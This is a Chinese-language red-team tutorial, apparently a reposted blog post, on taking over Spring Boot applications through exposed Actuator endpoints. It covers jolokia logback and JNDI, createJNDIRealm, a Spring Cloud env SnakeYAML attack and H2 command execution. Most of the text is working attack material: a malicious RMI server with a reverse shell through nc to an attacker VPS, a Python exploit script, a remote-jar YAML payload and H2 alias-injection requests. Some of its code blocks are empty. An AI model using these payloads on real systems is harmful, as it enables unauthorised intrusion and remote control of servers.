紅隊攻擊之利用Spring Boot Actuator獲取目標權限

Spring boot 識別

1、網頁favicon.ico 默認小綠葉圖標

2、Spring boot 默認報錯特徵

紅隊攻擊之利用Spring Boot Actuator獲取目標權限

3、Spring Boot 1-1.4,無需身份驗證即可訪問所有端點;Spring Boot >= 1.5 默認只允許訪問/health和/info端點;Spring boot 2.x中,端點默認存在於/actuator路徑下。

4、實戰中端點可能存放在多級目錄下,需要自行進行尋找

Actuator是Spring Boot項目中非常強大一個功能,有助於對應用程序進行監視和管理,通過restful api 請求來監管、審計、收集應用的運行情況,其提供的執行器端點分為兩類:原生端點和用戶自定義擴展端點,版本1和版本2有區別。

紅隊攻擊之利用Spring Boot Actuator獲取目標權限

Spring Boot Actuator RCE via jolokia

文章中xx.xx.xx.xx均代表vps地址

方法1:Logback

在jolokia/list目錄檢索存在logback組件,則可以使用jolokia遠程包含logback.xml配置文件,直接執行遠程引用字節碼

紅隊攻擊之利用Spring Boot Actuator獲取目標權限

環境搭建:

<code>git clone https://github.com/artsploit/actuator-testbed
cd actuator-testbed
mvn install
mvn spring-boot:run/<code>

運行成功可以瀏覽器訪問

紅隊攻擊之利用Spring Boot Actuator獲取目標權限

漏洞測試:

XXE

Vps:開個web服務,存放兩個文件

File1:logback.xml

File2:file.dtd

<code> 
">/<code>

POC:

<code>http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/xx.xx.xx.xx!/logback.xml/<code>
紅隊攻擊之利用Spring Boot Actuator獲取目標權限

RCE:

可以在logback.xml中使用insertFromJNDI標籤,這個標籤允許從JNDI加載變量,導致了rce漏洞

1、生成RMIServer-0.1.0.jar

進入Spring-Boot-Actuator-Exploit-master/maliciousRMIServer目錄,src目錄裡面有惡意rmi代碼EvilRMIServer.java,更改對應的ip和端口利用maven將其打包成RMIServer-0.1.0.jar。利用代碼添加了第10行指定RMI通信Host為vps外網地址,不然會返回vps內網ip導致反彈shell失敗。

<code>import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
 
public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1099");
        Registry registry = LocateRegistry.createRegistry(1099);
	System.setProperty("java.rmi.server.hostname","xx.xx.xx.xx");
        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc xx.xx.xx.xx 8888 >/tmp/f']).start()")"));
 
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("jndi", referenceWrapper);
    }
}/<code>

進入Spring-Boot-Actuator-Exploit-master/maliciousRMIServer目錄,利用maven對Java代碼打包

<code>mvn clean install/<code>

打包成功後會在target目錄下生成RMIServer-0.1.0.jar文件,上傳到VPS

2、vps開web服務存放文件file:logback.xml

<code>/<code>

3、將RMIServer-0.1.0.jar上傳到vps,執行開啟rmi監聽,可在上述java源碼中指定監聽端口

<code>java -jar RMIServer-0.1.0.jar/<code>
紅隊攻擊之利用Spring Boot Actuator獲取目標權限

這步監聽到連接沒有響應,不用等,直接看nc

4、vps上nc監聽第一步Java代碼中寫的反彈端口

紅隊攻擊之利用Spring Boot Actuator獲取目標權限

5、poc

<code>http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/xx.xx.xx.xx!/logback.xml/<code>
紅隊攻擊之利用Spring Boot Actuator獲取目標權限

方法2:createJNDIRealm

查看/jolokia/list 中存在的是否存在org.apache.catalina.mbeans.MBeanFactory類提供的createJNDIRealm方法,可能存在JNDI注入,導致遠程代碼執行。

紅隊攻擊之利用Spring Boot Actuator獲取目標權限

1、直接使用上述生成的RMIServer-0.1.0.jar監聽,nc監聽

紅隊攻擊之利用Spring Boot Actuator獲取目標權限

2、執行exp

<code># -*- coding:utf-8 -*-
# python2.7
import requests as req
import sys
from pprint import pprint

# usage: python createJNDIRealm-rec.py http://127.0.0.1:8090

url = sys.argv[1] + "/jolokia/"
pprint(url)
#創建JNDIRealm
create_JNDIrealm = {
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}
#寫入contextFactory
set_contextFactory = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "contextFactory",
    "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
#寫入connectionURL為自己公網RMI service地址
set_connectionURL = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "connectionURL",
    "value": "rmi://xx.xx.xx.xx:1099/jndi"
}
#停止Realm
stop_JNDIrealm = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "stop",
    "arguments": []
}
#運行Realm,觸發JNDI 注入
start = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "start",
    "arguments": []
}

expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]

for i in expoloit:
    rep = req.post(url, json=i)
    pprint(rep.json())/<code>
紅隊攻擊之利用Spring Boot Actuator獲取目標權限

3、收到反彈shell

紅隊攻擊之利用Spring Boot Actuator獲取目標權限

Spring Boot Actuator RCE via Cloud env

測試環境和上面Spring Boot Actuator RCE via jolokia一致

當上面一種找不到logback配置可以嘗試修改env配置文件進行xstream反序列化

Spring Boot 2.x 無法利用成功

Spring Boot 1.5.x 在使用 Dalston 版本時可利用成功,使用Edgware 無法成功

Spring Boot <= 1.4 可利用成功

需要兩個包:spring-boot-starter-actuator(/refresh刷新配置需要);spring-cloud-starter-netflix-eureka-client(功能依賴)

poc:yaml-payload (https://github.com/artsploit/yaml-payload)

RCE:

1、編譯yaml-payload.jar文件放到可訪問的站點,例如VPS

下載上述poc,進入yaml-payload-master\src\artsploit,src目錄有利用代碼,更改對應的命令執行部分,測試可以寫自己dnslog地址

<code>package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("dig aaaaa.ijl8d4.ceye.io");
            //Runtime.getRuntime().exec("xxxxxx");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List getExtensions() {
        return null;
    }

    @Override
    public List getMimeTypes() {
        return null;
    }

    @Override
    public List getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}/<code>

編譯上述Java文件,將生成的jar傳到VPS,vps開web服務

<code>javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ ./<code>

2、編寫yml文件用於遠程加載,放在vps

File:yaml-payload.yml

<code>!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
                           !!java.net.URL ["http://xx.xx.xx.xx/yaml-payload.jar"]
                           ]]
]/<code>

3、利用 /env 端點修改spring.cloud.bootstrap.location 屬性值為一個外部 yml 配置文件 url 地址

<code>curl -XPOST http://127.0.0.1:8090/env -d "spring.cloud.bootstrap.location=http://XX.XX.XX.XX/yaml-payload.yml"/<code>

執行完/env端點能看到設置的值

紅隊攻擊之利用Spring Boot Actuator獲取目標權限

4、請求 /refresh 端點,觸發程序下載外部 yml 文件,並由 SnakeYAML 庫進行解析,因 SnakeYAML 在反序列化時支持指定 class 類型和構造方法的參數,結合 JDK 自帶的 javax.script.ScriptEngineManager 類,可實現加載遠程 jar 包,完成任意代碼執行。

<code>curl -XPOST http://127.0.0.1:8090/refresh/<code>
紅隊攻擊之利用Spring Boot Actuator獲取目標權限

執行完,即可看到dnslog請求,在第一步Java代碼中設置的內容

紅隊攻擊之利用Spring Boot Actuator獲取目標權限

Spring Boot Actuator RCE via H2

Spring Boot 2.x默認使用HikariCP數據庫連接池,所以可通過H2數據庫實現RCE

Spring boot 2.x默認端點在目錄/actuator下

環境搭建:

<code>git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git
docker build -t spring-boot-rce . 
docker run -p 8081:8080 -t spring-boot-rce/<code>

docker運行:

紅隊攻擊之利用Spring Boot Actuator獲取目標權限

漏洞驗證:

運行成功後,可以在瀏覽器訪問 http://192.168.28.128:8081/actuator/env

紅隊攻擊之利用Spring Boot Actuator獲取目標權限

1、通過POST方法利用/env端點進行環境變量的賦值

<code>POST /actuator/env HTTP/1.1
Host: 192.168.28.128:8081
Content-Type: application/json
Content-Length: 356

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE
ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream());
if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}';
CALL EXEC('curl xxx.ijl8d4.ceye.io');"}/<code>
紅隊攻擊之利用Spring Boot Actuator獲取目標權限

執行完後訪問http://192.168.28.128:8081/actuator/env 可以看到寫入的命令

紅隊攻擊之利用Spring Boot Actuator獲取目標權限

2、通過向端點/actuator/restart發送POST請求重啟應用發出新的數據庫連接

<code>POST /actuator/restart HTTP/1.1
Host: 192.168.28.128:8081
Content-Type: application/json
Content-Length: 2

{}/<code>
紅隊攻擊之利用Spring Boot Actuator獲取目標權限

執行完即可在dnslog中看到請求記錄

紅隊攻擊之利用Spring Boot Actuator獲取目標權限

參考

https://www.secshi.com/21506.html

https://www.anquanke.com/post/id/195929

https://github.com/artsploit/yaml-payload

https://github.com/b1ngz/spring-boot-actuator-cloud-vul

https://www.cnblogs.com/cwkiller/p/12829974.html


分享到:


相關文章: